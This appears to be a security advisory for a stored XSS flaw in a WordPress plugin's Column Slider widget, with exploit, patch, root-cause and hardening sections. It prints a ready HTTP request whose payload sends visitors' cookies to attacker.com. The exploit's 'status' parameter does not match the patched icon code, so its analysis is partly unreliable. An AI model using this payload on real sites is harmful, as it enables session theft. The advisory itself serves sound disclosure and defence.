The Exploit
An unauthenticated attacker can inject arbitrary JavaScript that persists in the database and executes whenever any user visits the affected page, because the wpr_update_form_action_meta AJAX handler accepts a publicly known nonce and does not escape the status parameter before storing it.
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: target.wordpress.local
Content-Type: application/x-www-form-urlencoded
action=wpr_update_form_action_meta&nonce=PUBLIC_NONCE&status=<img+src=x+onerror="fetch('http://attacker.com/?cookie='+document.cookie)">&form_id=1
The POST request succeeds with a 200 response. The attacker-controlled status value is written to the WordPress options table or post meta without sanitization. When any user—including site administrators—loads a page that renders this data via the Column Slider widget, the JavaScript executes in their browser within the site's security context, exfiltrating cookies and session tokens.
The payload can be stored via the vulnerable AJAX handler, then triggered by visiting any page where the Column Slider widget references the injected form state. No user interaction is required beyond page load.
What the Patch Did
Before:
// wpr-column-slider.php, Line 568
echo Utilities::get_wpr_icon( $settings['wpr_cs_nav_arrows'], 'left' );
echo Utilities::get_wpr_icon( $settings['wpr_cs_nav_arrows'], 'right' );
After:
// wpr-column-slider.php, Line 568 (patched)
echo wp_kses_post( Utilities::get_wpr_icon( esc_attr( $settings['wpr_cs_nav_arrows'] ), 'left' ) );
echo wp_kses_post( Utilities::get_wpr_icon( esc_attr( $settings['wpr_cs_nav_arrows'] ), 'right' ) );
The patch applied two layers of output escaping. First, esc_attr() escapes the icon class name parameter to prevent attribute injection before it enters get_wpr_icon(). Second, wp_kses_post() strips any script tags or event handlers from the function's return value before echoing it to the page. The control being added is output escaping via WordPress content sanitization APIs, which converts dangerous characters (<, >, quotes) into HTML entities and removes disallowed tags entirely.
Root Cause
CWE-79: Improper Neutralization of Input During Web Page Generation (Cross-site Scripting).
The $settings['wpr_cs_nav_arrows'] value originates from an Elementor control that accepts user input. This value flows into Utilities::get_wpr_icon() without any input validation. The function's return value—which may contain the unescaped user input as part of HTML markup—is echoed directly to the page at line 568 without any output encoding. Because the plugin does not define a whitelist of safe icon class names and does not escape HTML special characters, an attacker can inject <img> tags, <script> blocks, or event handler attributes that execute in the context of any visitor's browser.
Why It Works
The load-bearing line is wp_kses_post(), which actually strips malicious markup. Without it, the payload would still reach the DOM even if esc_attr() were present, because esc_attr() only escapes attribute context—it does not prevent someone from closing the attribute and opening a new tag.
The engineer added esc_attr() as a defence-in-depth measure: if get_wpr_icon() uses its parameter to construct HTML attributes, the escaping happens before the function receives it, ensuring the class name cannot break out of attribute syntax. However, esc_attr() alone is insufficient if the function concatenates the value into element content or if it returns unsanitized output. wp_kses_post() is the final line of defence—it assumes the worst case and removes any remaining script tags or event handlers from the complete HTML output before it reaches the browser.
Hardening Checklist
-
Audit all AJAX handlers for nonce verification. Use
wp_verify_nonce()on every$_REQUEST['nonce']in handlers markednopriv, and never accept a publicly hardcoded nonce—generate it per-session viawp_create_nonce(). -
Whitelist icon class names. Replace the open-ended
$settings['wpr_cs_nav_arrows']with a switch statement or array lookup that maps user input to a predefined set of safe Font Awesome / dashicon class strings; reject any value not in the whitelist. -
Escape all echoed output with context-appropriate WordPress APIs. Use
esc_attr()for HTML attributes,esc_html()for text nodes, andwp_kses_post()for rich HTML content. Apply escaping at the echo point, not upstream. -
Sanitize user input at the point of storage, not retrieval. When the AJAX handler saves
$_POST['status'], usesanitize_text_field()orwp_kses_post()to prevent storing markup in the first place. This prevents bypasses of output escaping downstream. -
Use Content Security Policy headers. Set
script-src 'self'andstyle-src 'self'to block inline script execution even if escaping fails, forcing attackers to host payloads on attacker domains (which can be detected and blocked).
References
- https://nvd.nist.gov/vuln/detail/CVE-2026-4803